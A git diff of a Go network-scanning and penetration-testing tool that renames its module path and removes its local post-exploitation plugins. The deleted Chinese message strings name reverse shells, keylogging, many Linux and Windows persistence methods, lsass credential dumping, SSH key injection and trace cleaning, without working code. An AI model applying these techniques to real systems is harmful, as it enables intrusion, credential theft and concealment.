-local_platform: - other: "平台: {{.Arg1}}" -local_listen_port: - other: "监听端口: {{.Arg1}}" -local_output_file: - other: "输出文件: {{.Arg1}}" -local_start_time: - other: "开始时间: {{.Arg1}}" -unsupported_platform: - other: "不支持的平台: {{.Arg1}}" -unsupported_os: - other: "不支持的操作系统: {{.Arg1}}" -connection_failed_plain: - other: "连接失败" -listen_port_failed: - other: "监听端口失败" -command_timeout: - other: "命令执行超时" -command_exec_failed: - other: "命令执行失败: {{.Arg1}}" -command_success_no_output: - other: "(命令执行成功,无输出)" -command_error_with_output: - other: "错误: {{.Arg1}}\n{{.Arg2}}" -reverseshell_header: - other: "=== Go原生反弹Shell ===" -reverseshell_error: - other: "反弹Shell错误: {{.Arg1}}" -reverseshell_done: - other: "✓ 反弹Shell已完成" -forwardshell_header: - other: "=== 正向Shell服务器 ===" -forwardshell_server_error: - other: "正向Shell服务器错误: {{.Arg1}}" -forwardshell_done: - other: "✓ 正向Shell服务已完成" -socks5_header: - other: "=== SOCKS5代理服务器 ===" -socks5_server_error: - other: "SOCKS5代理服务器错误: {{.Arg1}}" -socks5_done: - other: "✓ SOCKS5代理已完成" -socks5_handshake_read_failed: - other: "读取握手请求失败" -socks5_unsupported_version: - other: "不支持的SOCKS版本" -socks5_handshake_write_failed: - other: "发送握手响应失败" -socks5_request_read_failed: - other: "读取连接请求失败" -socks5_invalid_request: - other: "无效的SOCKS5请求" -socks5_unsupported_command: - other: "不支持的命令" -ipv4_address_invalid: - other: "IPv4地址格式错误" -domain_format_invalid: - other: "域名格式错误" -domain_length_invalid: - other: "域名长度错误" -ipv6_address_invalid: - other: "IPv6地址格式错误" -socks5_unsupported_address_type: - other: "不支持的地址类型" -socks5_target_connect_failed: - other: "连接目标服务器失败" -local_address_unavailable: - other: "无法获取本地地址" -socks5_success_response_failed: - other: "发送成功响应失败" -socks5_proxy_connection_established: - other: "建立代理连接: {{.Arg1}}" -keylogger_header: - other: "=== 键盘记录 ===" -keylogger_output_permission_failed: - other: "输出文件权限检查失败: {{.Arg1}}" -platform_requirement_failed: - other: "平台要求检查失败: {{.Arg1}}" -keylogger_failed: - other: "键盘记录失败: {{.Arg1}}" -keylogger_failed_plain: - other: "键盘记录失败" -keylogger_done: - other: "✓ 键盘记录已完成" -keylogger_event_count: - other: "捕获事件数: {{.Arg1}}" -keylogger_log_file: - other: "日志文件: {{.Arg1}}" -output_file_create_failed: - other: "无法创建输出文件 {{.Arg1}}" -output_file_open_failed: - other: "无法打开输出文件" -keylogger_log_header: - other: "=== 键盘记录日志 ===" -keylogger_header_write_failed: - other: "写入头部信息失败" -keylogger_entry_write_failed: - other: "写入键盘记录失败" -keylogger_demo_windows: - other: "演示键盘记录 - Windows平台" -keylogger_demo_linux: - other: "演示键盘记录 - Linux平台" -keylogger_demo_darwin: - other: "演示键盘记录 - macOS平台" -command_read_failed: - other: "读取命令错误" -local_target_file: - other: "目标文件: {{.Arg1}}" -persistence_file_required: - other: "必须通过 -persistence-file 参数指定目标文件路径" -target_file_not_specified: - other: "未指定目标文件" -target_file_not_exist: - other: "目标文件不存在: {{.Arg1}}" -copy_file_failed: - other: "✗ 复制文件失败: {{.Arg1}}" -file_copied_to: - other: "✓ 文件已复制到: {{.Arg1}}" -persistence_complete_summary: - other: "持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -crontask_linux_only: - other: "计划任务持久化只支持Linux平台" -crontab_unavailable: - other: "crontab命令不可用" -crontask_header: - other: "=== 计划任务持久化 ===" -crontask_user_add_failed: - other: "✗ 添加用户cron任务失败: {{.Arg1}}" -crontask_user_added: - other: "✓ 已添加用户crontab任务" -crontask_system_add_failed: - other: "✗ 添加系统cron任务失败: {{.Arg1}}" -crontask_system_added: - other: "✓ 已添加系统cron任务: {{.Arg1}}" -crontask_at_add_failed: - other: "✗ 添加at任务失败: {{.Arg1}}" -crontask_at_added: - other: "✓ 已添加at延时任务" -crontask_anacron_add_failed: - other: "✗ 添加anacron任务失败: {{.Arg1}}" -crontask_anacron_added: - other: "✓ 已添加anacron任务" -persistence_dir_create_failed: - other: "无法创建持久化目录" -crontask_system_create_none: - other: "无法创建任何系统cron任务" -systemdservice_linux_only: - other: "系统服务持久化只支持Linux平台" -systemctl_unavailable: - other: "systemctl命令不可用: {{.Arg1}}" -systemdservice_header: - other: "=== 系统服务持久化 ===" -systemdservice_create_failed: - other: "✗ 创建systemd服务失败: {{.Arg1}}" -systemdservice_created: - other: "✓ 已创建systemd服务: {{.Arg1}}" -systemdservice_start_failed: - other: "✗ 启动服务失败: {{.Arg1}}" -systemdservice_started: - other: "✓ 服务已启用并启动" -systemdservice_user_create_failed: - other: "✗ 创建用户服务失败: {{.Arg1}}" -systemdservice_user_created: - other: "✓ 已创建用户服务: {{.Arg1}}" -systemdservice_timer_create_failed: - other: "✗ 创建定时器服务失败: {{.Arg1}}" -systemdservice_timer_created: - other: "✓ 已创建systemd定时器" -systemdservice_complete_summary: - other: "系统服务持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -service_dir_create_failed: - other: "无法创建服务目录" -systemdservice_create_none: - other: "无法创建任何systemd服务文件" -service_operation_error: - other: "服务操作错误" -ldpreload_linux_only: - other: "LD_PRELOAD持久化只支持Linux平台" -ldpreload_so_required: - other: "目标文件必须是 .so 动态库文件: {{.Arg1}}" -invalid_file_type: - other: "无效文件类型" -ldpreload_header: - other: "=== LD_PRELOAD持久化 ===" -ldpreload_copy_system_failed: - other: "✗ 复制文件到系统目录失败: {{.Arg1}}" -ldpreload_env_add_failed: - other: "✗ 添加环境变量失败: {{.Arg1}}" -ldpreload_env_added: - other: "✓ 已添加到全局环境变量" -ldpreload_shell_add_failed: - other: "✗ 添加到shell配置失败: {{.Arg1}}" -ldpreload_shell_added: - other: "✓ 已添加到shell配置: {{.Arg1}}" -ldpreload_config_create_failed: - other: "✗ 创建ld配置失败: {{.Arg1}}" -ldpreload_config_created: - other: "✓ 已创建ld预加载配置" -ldpreload_complete_summary: - other: "LD_PRELOAD持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -ldpreload_system_lib_dir_not_found: - other: "找不到合适的系统库目录" -ldpreload_shell_config_modify_none: - other: "无法修改任何shell配置文件" -cleaner_removed: - other: "[清理] {{.Arg1}}" -cleaner_history_removed: - other: "[清理] {{.Arg1}} 中的 fscan 记录" -sshkey_mkdir_failed: - other: "[失败] {{.Arg1}}: 无法创建 .ssh 目录: {{.Arg2}}" -sshkey_generate_failed: - other: "[失败] {{.Arg1}}: 密钥生成失败: {{.Arg2}}" -sshkey_authorized_read_failed: - other: "[失败] {{.Arg1}}: 读取 authorized_keys 失败: {{.Arg2}}" -sshkey_public_exists: - other: "[跳过] {{.Arg1}}: 公钥已存在" -sshkey_authorized_write_failed: - other: "[失败] {{.Arg1}}: 无法写入 authorized_keys: {{.Arg2}}" -sshkey_private_save_failed: - other: "[失败] {{.Arg1}}: 私钥保存失败: {{.Arg2}}" -sshkey_injected: - other: "[成功] {{.Arg1}}: 公钥已注入 {{.Arg2}},私钥保存为 {{.Arg3}}" -minidump_admin_required: - other: "需要管理员权限" -minidump_load_dll_failed: - other: "加载系统DLL失败: {{.Arg1}}" -minidump_try_direct: - other: "[*] 尝试直接内存转储..." -minidump_av_skip_direct: - other: "[*] 检测到杀软防护,跳过直接dump" -minidump_try_comsvcs: - other: "[*] 尝试 comsvcs.dll 方式..." -minidump_try_regsave: - other: "[*] 尝试 reg save 导出注册表..." -minidump_all_failed: - other: "[!] 所有方式均失败" -minidump_all_methods_failed: - other: "所有凭据提取方式均失败" -minidump_find_lsass_failed: - other: " 查找lsass.exe失败: {{.Arg1}}" -minidump_privilege_failed: - other: " 权限提升失败: {{.Arg1}}" -minidump_direct_failed: - other: " 直接dump失败: {{.Arg1}}" -minidump_method_direct: - other: "直接内存转储" -minidump_comsvcs_failed: - other: " comsvcs.dll失败: {{.Arg1}}" -minidump_hive_export_failed: - other: " ✗ {{.Arg1}} 导出失败" -minidump_regsave_done: - other: "[+] 注册表 hive 导出完成,可用 secretsdump 离线解析" -minidump_method_success: - other: "[+] {{.Arg1}}成功: {{.Arg2}} ({{.Arg3}} bytes)" -minidump_load_named_dll_failed: - other: "加载 {{.Arg1}} 失败" -minidump_find_proc_failed: - other: "查找{{.Arg1}}函数失败" -minidump_snapshot_create_failed: - other: "创建进程快照失败" -minidump_first_process_failed: - other: "获取第一个进程失败" -minidump_process_name_convert_failed: - other: "转换进程名失败" -minidump_process_not_found: - other: "未找到进程: {{.Arg1}}" -minidump_open_process_token_failed: - other: "打开进程令牌失败" -minidump_privilege_name_convert_failed: - other: "转换权限名称失败" -minidump_lookup_privilege_failed: - other: "查找特权值失败" -minidump_adjust_token_failed: - other: "调整令牌特权失败" -minidump_current_process_failed: - other: "获取当前进程句柄失败" -minidump_timeout: - other: "内存转储超时 (120秒)" -minidump_write_dump_failed: - other: "写入转储文件失败" -minidump_open_process_failed: - other: "打开进程失败" -file_create_failed: - other: "创建文件失败" -local_step_failed: - other: "[失败] {{.Arg1}}: {{.Arg2}}" -local_step_success: - other: "[成功] {{.Arg1}}" -local_step_success_detail: - other: "[成功] {{.Arg1}} ({{.Arg2}})" -local_step_success_arrow: - other: "[成功] {{.Arg1}} -> {{.Arg2}}" -winregistry_current_user_run: - other: "当前用户 Run" -winregistry_local_machine_run: - other: "本地机器 Run" -winregistry_current_user_runonce: - other: "当前用户 RunOnce" -winregistry_step_success: - other: "[成功] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" -winifeo_sticky_keys: - other: "粘滞键 (Shift×5)" -winifeo_accessibility: - other: "辅助功能 (Win+U)" -winifeo_narrator: - other: "讲述人" -winlogon_userinit_append: - other: "Userinit 追加" -winlogon_shell_append: - other: "Shell 追加" -winbits_create_task_failed: - other: "[失败] 创建任务: {{.Arg1}}" -winbits_guid_extract_failed: - other: "[失败] 无法提取任务 GUID" -winbits_task_created: - other: "[成功] 创建任务: {{.Arg1}} ({{.Arg2}})" -winbits_add_file: - other: "添加文件" -winbits_set_callback: - other: "设置回调" -winbits_set_retry: - other: "设置重试" -winbits_resume_task: - other: "恢复任务" -winstartup_user_folder: - other: "用户启动文件夹" -winstartup_common_folder: - other: "公共启动文件夹" -cleaner_restore_winlogon_shell: - other: "[恢复] Winlogon Shell: {{.Arg1}} → {{.Arg2}}" -cleaner_restore_winlogon_userinit: - other: "[恢复] Winlogon Userinit: {{.Arg1}} → {{.Arg2}}" -cleaner_ifeo_removed: - other: "[清理] IFEO: {{.Arg1}}" -cleaner_registry_removed: - other: "[清理] 注册表: {{.Arg1}}\\{{.Arg2}}" -cleaner_schtask_removed: - other: "[清理] 计划任务: {{.Arg1}}" -cleaner_service_removed: - other: "[清理] 服务: {{.Arg1}}" -cleaner_startup_removed: - other: "[清理] 启动文件夹: {{.Arg1}}" -cleaner_bits_removed: - other: "[清理] BITS: {{.Arg1}}" -cleaner_wmi_removed: - other: "[清理] WMI 事件订阅" -cleaner_prefetch_removed: - other: "[清理] Prefetch: {{.Arg1}}" -systeminfo_antivirus_process_count: - other: "{{.Arg1}} ({{.Arg2}}个进程)" -powershell_exec_failed: - other: "PowerShell执行失败" -command_output: - other: "输出" webtitle_no_fingerprint_skip_poc: other: "WebTitle {{.Arg1}} 无匹配指纹,跳过POC扫描" webtitle_cdn_waf_skip_poc: @@ -1363,211 +913,6 @@ redis_cron_success: redis_restore_failed: other: "恢复数据库配置失败: {{.Arg1}}" -# ========================= 本地插件消息 ========================= -# 计划任务持久化 -crontask_success: - other: "计划任务持久化完成: {{.Arg1}}个方法成功" - -# 键盘记录 -keylogger_success: - other: "键盘记录完成,捕获了 {{.Arg1}} 个键盘事件" -keylogger_save_failed: - other: "保存键盘记录失败: {{.Arg1}}" -keylogger_no_input: - other: "没有捕获到键盘输入" - -# Windows WMI -winwmi_success: - other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目" - -# 痕迹清理 -cleaner_success: - other: "痕迹清理完成: {{.Arg1}}个文件, {{.Arg2}}个系统条目" -cleaner_history_found: - other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)" - -# 正向Shell -forwardshell_complete: - other: "正向Shell服务完成 - 端口: {{.Arg1}}" -forwardshell_started: - other: "正向Shell服务器已在 0.0.0.0:{{.Arg1}} 上启动" -forwardshell_accept_failed: - other: "接受连接失败: {{.Arg1}}" -forwardshell_client_connected: - other: "客户端连接来自: {{.Arg1}}" -forwardshell_read_failed: - other: "读取客户端命令失败: {{.Arg1}}" - -# IFEO映像劫持 -winifeo_success: - other: "IFEO映像劫持完成: {{.Arg1}}个目标" - -# BITS持久化 -winbits_success: - other: "BITS持久化完成: {{.Arg1}}" - -# Winlogon持久化 -winlogon_success: - other: "Winlogon持久化完成: {{.Arg1}}个项目" - -# Windows启动文件夹 -winstartup_success: - other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法" - -# Windows服务 -winservice_success: - other: "Windows服务持久化完成: {{.Arg1}}个项目" - -# SSH Key注入 -sshkey_success: - other: "SSH Key注入完成: {{.Arg1}}个用户" - -# LD_PRELOAD -ldpreload_success: - other: "LD_PRELOAD持久化完成: {{.Arg1}}个方法成功" - -# SOCKS5代理 -socks5_starting: - other: "在端口 {{.Arg1}} 上启动SOCKS5代理" -socks5_complete: - other: "SOCKS5代理完成 - 端口: {{.Arg1}}" -socks5_started: - other: "SOCKS5代理服务器已在 127.0.0.1:{{.Arg1}} 上启动" -socks5_cancelled: - other: "SOCKS5代理服务器被上下文取消" -socks5_accept_failed: - other: "接受连接失败: {{.Arg1}}" -socks5_handshake_failed: - other: "SOCKS5握手失败: {{.Arg1}}" -socks5_request_failed: - other: "SOCKS5请求处理失败: {{.Arg1}}" -socks5_connected: - other: "建立SOCKS5代理连接" - -# 反弹Shell -reverseshell_complete: - other: "反弹Shell完成 - 目标: {{.Arg1}}" -reverseshell_connected: - other: "反弹Shell已连接到 {{.Arg1}}:{{.Arg2}}" - -# Systemd服务 -systemdservice_success: - other: "系统服务持久化完成: {{.Arg1}}个方法成功" - -# 系统信息 -minidump_regsave_success: - other: "注册表 hive 导出完成 (SAM/SECURITY/SYSTEM)" - -systeminfo_start: - other: "开始系统信息收集" -systeminfo_os: - other: "操作系统: {{.Arg1}}" -systeminfo_arch: - other: "架构: {{.Arg1}}" -systeminfo_cpu: - other: "CPU核心数: {{.Arg1}}" -systeminfo_hostname: - other: "主机名: {{.Arg1}}" -systeminfo_user: - other: "当前用户: {{.Arg1}}" -systeminfo_homedir: - other: "用户目录: {{.Arg1}}" -systeminfo_workdir: - other: "工作目录: {{.Arg1}}" -systeminfo_tempdir: - other: "临时目录: {{.Arg1}}" -systeminfo_pathcount: - other: "PATH变量条目: {{.Arg1}}个" -systeminfo_winver: - other: "Windows版本: {{.Arg1}}" -systeminfo_domain: - other: "用户域: {{.Arg1}}" -systeminfo_kernel: - other: "系统内核: {{.Arg1}}" -systeminfo_distro: - other: "发行版: {{.Arg1}}" -systeminfo_distro_exists: - other: "发行版: /etc/os-release 存在" -systeminfo_whoami: - other: "当前用户(whoami): {{.Arg1}}" -systeminfo_iface: - other: "网卡 {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" -systeminfo_privilege: - other: "权限级别: {{.Arg1}}" -systeminfo_privilege_group: - other: "所属管理组: {{.Arg1}}" -systeminfo_id_info: - other: "用户信息: {{.Arg1}}" -systeminfo_firewall: - other: "防火墙: {{.Arg1}}" -systeminfo_firewall_rules: - other: "防火墙规则数: {{.Arg1}}" -systeminfo_patches: - other: "已安装补丁: {{.Arg1}}个" -systeminfo_antivirus: - other: "检测到杀软: {{.Arg1}}" -systeminfo_av_process: - other: " - {{.Arg1}}" -systeminfo_sudo: - other: "sudo权限: {{.Arg1}}" -systeminfo_macos_detail: - other: "macOS: {{.Arg1}}" -systeminfo_sensitive_env: - other: "敏感环境变量: {{.Arg1}}={{.Arg2}}" -systeminfo_sensitive_file: - other: "敏感文件: {{.Arg1}}" -systeminfo_dc_detected: - other: "检测到域环境: {{.Arg1}}" -systeminfo_dc_connect_failed: - other: "域控连接失败: {{.Arg1}}" -systeminfo_dc_basedn: - other: "域 Base DN: {{.Arg1}}" -systeminfo_dc_created: - other: "域创建时间: {{.Arg1}}" -systeminfo_dc_func_level: - other: "域功能级别: {{.Arg1}}" -systeminfo_dc_controllers: - other: "域控制器: {{.Arg1}}个" -systeminfo_dc_controller_detail: - other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" -systeminfo_dc_admins: - other: "域管理员: {{.Arg1}}个" -systeminfo_dc_admin_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_users: - other: "域用户数: {{.Arg1}}" -systeminfo_dc_computers: - other: "域计算机数: {{.Arg1}}" -systeminfo_dc_computer_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_gpos: - other: "组策略: {{.Arg1}}个" -systeminfo_dc_gpo_detail: - other: " - {{.Arg1}} [{{.Arg2}}]" - -# Windows计划任务 -winschtask_success: - other: "Windows计划任务持久化完成: {{.Arg1}}个项目" - -# Windows注册表 -winregistry_success: - other: "Windows注册表持久化完成: {{.Arg1}}个项目" - -# Minidump -minidump_panic: - other: "minidump插件发生panic: {{.Arg1}}" -minidump_success: - other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)" - -# 本地插件通用错误 -local_pe_not_specified: - other: "未指定PE文件,使用 -win-pe 参数" -local_pe_not_found: - other: "PE文件不存在: {{.Arg1}}" -local_invalid_pe: - other: "无效的PE文件: {{.Arg1}}" - -# ========================= WebScan消息 ========================= webscan_target_url_failed: other: "构建目标URL失败: {{.Arg1}}" webscan_invalid_url: @@ -1650,8 +995,8 @@ webscan_poc_dir_read_failed: other: "读取POC目录失败: {{.Arg1}}" webscan_unknown_poc_format: other: "未知POC格式" -webscan_fscan_format_parse_failed: - other: "fscan格式解析失败" +webscan_native_format_parse_failed: + other: "scanner格式解析失败" webscan_nuclei_format_parse_failed: other: "nuclei格式解析失败" webscan_nuclei_no_http_rules: @@ -1691,7 +1036,7 @@ webscan_request_send_error: param_error: other: "参数错误: {{.Arg1}}" param_exclusive: - other: "参数 {{.Arg1}} 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集" + other: "参数 {{.Arg1}} 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描" error_generic: other: "错误: {{.Arg1}}" init_failed: diff --git a/common/initialize.go b/common/initialize.go index 99a7671d..5030a60b 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -3,7 +3,7 @@ package common import ( "fmt" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* @@ -53,7 +53,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { } // ValidateExclusiveParams 验证互斥参数 -// 检查 -h、-u、-local 只能指定一个 +// 检查 -h、-u 只能指定一个 func ValidateExclusiveParams(info *HostInfo) error { paramCount := 0 var activeParam string @@ -72,15 +72,6 @@ func ValidateExclusiveParams(info *HostInfo) error { activeParam = "-u" } } - if fv.LocalPlugin != "" { - paramCount++ - if activeParam != "" { - activeParam = i18n.Tr("param_join_and", activeParam, "-local") - } else { - activeParam = "-local" - } - } - if paramCount > 1 { return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam)) } diff --git a/common/initialize_test.go b/common/initialize_test.go index 5c3e6aac..1391385f 100644 --- a/common/initialize_test.go +++ b/common/initialize_test.go @@ -17,9 +17,7 @@ func TestValidateExclusiveParams(t *testing.T) { }{ {name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}}, {name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}}, - {name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}}, {name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"}, - {name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"}, } for _, tt := range tests { diff --git a/common/logger.go b/common/logger.go index 23f2d5ff..9bf0bca1 100644 --- a/common/logger.go +++ b/common/logger.go @@ -10,7 +10,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/logging" + "scanner/common/logging" ) var ( @@ -36,7 +36,7 @@ func getGlobalLogger() *logging.Logger { StartTime: GetGlobalState().GetStartTime(), } if fv.Debug { - config.DebugLogFile = "fscan_debug.log" + config.DebugLogFile = "debug.log" } globalLogger = logging.NewLogger(config) globalLogger.SetCoordinatedOutput(LogWithProgress) diff --git a/common/network.go b/common/network.go index ffef90d0..652d3ab6 100644 --- a/common/network.go +++ b/common/network.go @@ -16,8 +16,8 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/i18n" + "scanner/common/proxy" ) // ============================================================================= diff --git a/common/network_facade_test.go b/common/network_facade_test.go index fd9d4730..998bd3d0 100644 --- a/common/network_facade_test.go +++ b/common/network_facade_test.go @@ -5,7 +5,7 @@ import ( "net/http" "testing" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/proxy" ) func TestNetworkFacadeProxyState(t *testing.T) { diff --git a/common/output/writers.go b/common/output/writers.go index 91518fd9..f67f512e 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -11,7 +11,7 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) const ( diff --git a/common/output_api.go b/common/output_api.go index 7bf56589..d579329e 100644 --- a/common/output_api.go +++ b/common/output_api.go @@ -9,7 +9,7 @@ output_api.go - 输出系统简化接口 import ( "fmt" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) // ResultOutput 全局输出管理器 diff --git a/common/output_api_test.go b/common/output_api_test.go index 41f49ec4..853634c1 100644 --- a/common/output_api_test.go +++ b/common/output_api_test.go @@ -7,7 +7,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func readTestFile(t *testing.T, path string) string { diff --git a/common/output_filename.go b/common/output_filename.go index f1e5a4db..04b612ac 100644 --- a/common/output_filename.go +++ b/common/output_filename.go @@ -7,7 +7,7 @@ import ( "unicode" "unicode/utf8" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common/parsers" ) const maxAutoOutputNameRunes = 120 diff --git a/common/parse.go b/common/parse.go index 69e0acad..c5b9b397 100644 --- a/common/parse.go +++ b/common/parse.go @@ -1,7 +1,7 @@ package common import ( - "github.com/shadow1ng/fscan/common/logging" + "scanner/common/logging" ) // logLevelMap 日志级别字符串到级别的映射 @@ -46,7 +46,7 @@ func applyLogLevel() { LevelColors: logging.GetDefaultLevelColors(), } if fv.Debug { - config.DebugLogFile = "fscan_debug.log" + config.DebugLogFile = "debug.log" } newLogger := logging.NewLogger(config) diff --git a/common/parsers/host_iterator.go b/common/parsers/host_iterator.go index 654cef64..8e23cc7b 100644 --- a/common/parsers/host_iterator.go +++ b/common/parsers/host_iterator.go @@ -9,7 +9,7 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) const DefaultHostBatchSize = 4096 diff --git a/common/parsers/parsers.go b/common/parsers/parsers.go index dca29eb8..c12df7c6 100644 --- a/common/parsers/parsers.go +++ b/common/parsers/parsers.go @@ -10,8 +10,8 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/config" + "scanner/common/i18n" ) /* diff --git a/common/progress_manager.go b/common/progress_manager.go index e79f7d76..5479979f 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -11,7 +11,7 @@ import ( "golang.org/x/term" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) // 默认终端宽度 diff --git a/common/proxy/constants.go b/common/proxy/constants.go index 5d8da009..d9ec75c3 100644 --- a/common/proxy/constants.go +++ b/common/proxy/constants.go @@ -3,7 +3,7 @@ package proxy import ( "time" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* diff --git a/common/runtime_api_test.go b/common/runtime_api_test.go index 11a605b7..e782dbc6 100644 --- a/common/runtime_api_test.go +++ b/common/runtime_api_test.go @@ -27,7 +27,7 @@ func TestResultCallbackLifecycle(t *testing.T) { } } -func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { +func TestStateRuntimeTargets(t *testing.T) { state := NewState() urls := []string{"http://example.com", "https://example.org"} @@ -45,18 +45,4 @@ func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { if got := state.GetHostPorts(); got != nil { t.Fatalf("hostPorts after clear = %#v, want nil", got) } - - state.SetForwardShellActive(true) - state.SetReverseShellActive(true) - state.SetSocks5ProxyActive(true) - if !state.IsForwardShellActive() || !state.IsReverseShellActive() || !state.IsSocks5ProxyActive() { - t.Fatal("shell/proxy flags should be active") - } - - state.SetForwardShellActive(false) - state.SetReverseShellActive(false) - state.SetSocks5ProxyActive(false) - if state.IsForwardShellActive() || state.IsReverseShellActive() || state.IsSocks5ProxyActive() { - t.Fatal("shell/proxy flags should be inactive") - } } diff --git a/common/session.go b/common/session.go index 4b448682..bba0206b 100644 --- a/common/session.go +++ b/common/session.go @@ -11,9 +11,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/i18n" + "scanner/common/output" + "scanner/common/proxy" ) // ResultSink receives structured scan results for one scan session. diff --git a/common/session_test.go b/common/session_test.go index 3ce9d422..11f9ac43 100644 --- a/common/session_test.go +++ b/common/session_test.go @@ -7,7 +7,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func TestScanSessionLogMethodsHonorSilentConfig(t *testing.T) { diff --git a/common/state.go b/common/state.go index 9b4f1876..0350c2dd 100644 --- a/common/state.go +++ b/common/state.go @@ -52,11 +52,6 @@ type State struct { hostPorts []string urlsMu sync.RWMutex - // Shell状态(插件设置) - forwardShellActive int32 // 使用int32以便原子操作 - reverseShellActive int32 - socks5ProxyActive int32 - // 服务识别缓存(per-session,避免跨扫描污染) // key: "host:port", value: interface{}(core.ServiceInfo 指针) serviceCache sync.Map @@ -354,52 +349,6 @@ func (s *State) ClearHostPorts() { s.hostPorts = nil } -// ============================================================================= -// Shell状态方法 -// ============================================================================= - -// IsForwardShellActive 检查正向Shell是否活跃 -func (s *State) IsForwardShellActive() bool { - return atomic.LoadInt32(&s.forwardShellActive) == 1 -} - -// SetForwardShellActive 设置正向Shell活跃状态 -func (s *State) SetForwardShellActive(active bool) { - if active { - atomic.StoreInt32(&s.forwardShellActive, 1) - } else { - atomic.StoreInt32(&s.forwardShellActive, 0) - } -} - -// IsReverseShellActive 检查反向Shell是否活跃 -func (s *State) IsReverseShellActive() bool { - return atomic.LoadInt32(&s.reverseShellActive) == 1 -} - -// SetReverseShellActive 设置反向Shell活跃状态 -func (s *State) SetReverseShellActive(active bool) { - if active { - atomic.StoreInt32(&s.reverseShellActive, 1) - } else { - atomic.StoreInt32(&s.reverseShellActive, 0) - } -} - -// IsSocks5ProxyActive 检查SOCKS5代理是否活跃 -func (s *State) IsSocks5ProxyActive() bool { - return atomic.LoadInt32(&s.socks5ProxyActive) == 1 -} - -// SetSocks5ProxyActive 设置SOCKS5代理活跃状态 -func (s *State) SetSocks5ProxyActive(active bool) { - if active { - atomic.StoreInt32(&s.socks5ProxyActive, 1) - } else { - atomic.StoreInt32(&s.socks5ProxyActive, 0) - } -} - // ============================================================================= // 发包频率控制方法 - 统一使用令牌桶算法 // ============================================================================= diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index 0419d9d4..4a35c7e2 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -8,8 +8,8 @@ import ( "time" "github.com/panjf2000/ants/v2" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // HealthSignal 健康评估结果 diff --git a/core/alive_scanner.go b/core/alive_scanner.go index 6ad8a99c..748a2cd6 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -6,9 +6,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/i18n" + "scanner/common/parsers" ) /* diff --git a/core/alive_scanner_test.go b/core/alive_scanner_test.go index 3bdab2f4..1016cefd 100644 --- a/core/alive_scanner_test.go +++ b/core/alive_scanner_test.go @@ -4,7 +4,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // TestNewAliveScanStrategy 测试构造函数 diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index 87c992ac..94ac24a5 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -6,9 +6,9 @@ import ( "sort" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // PluginFilterType 插件过滤类型 @@ -17,9 +17,7 @@ type PluginFilterType int const ( // FilterNone 不过滤 FilterNone PluginFilterType = iota - // FilterLocal 仅本地插件 - FilterLocal - // FilterService 仅服务插件(排除本地) + // FilterService 仅服务插件 FilterService // FilterWeb 仅Web插件 FilterWeb @@ -113,18 +111,10 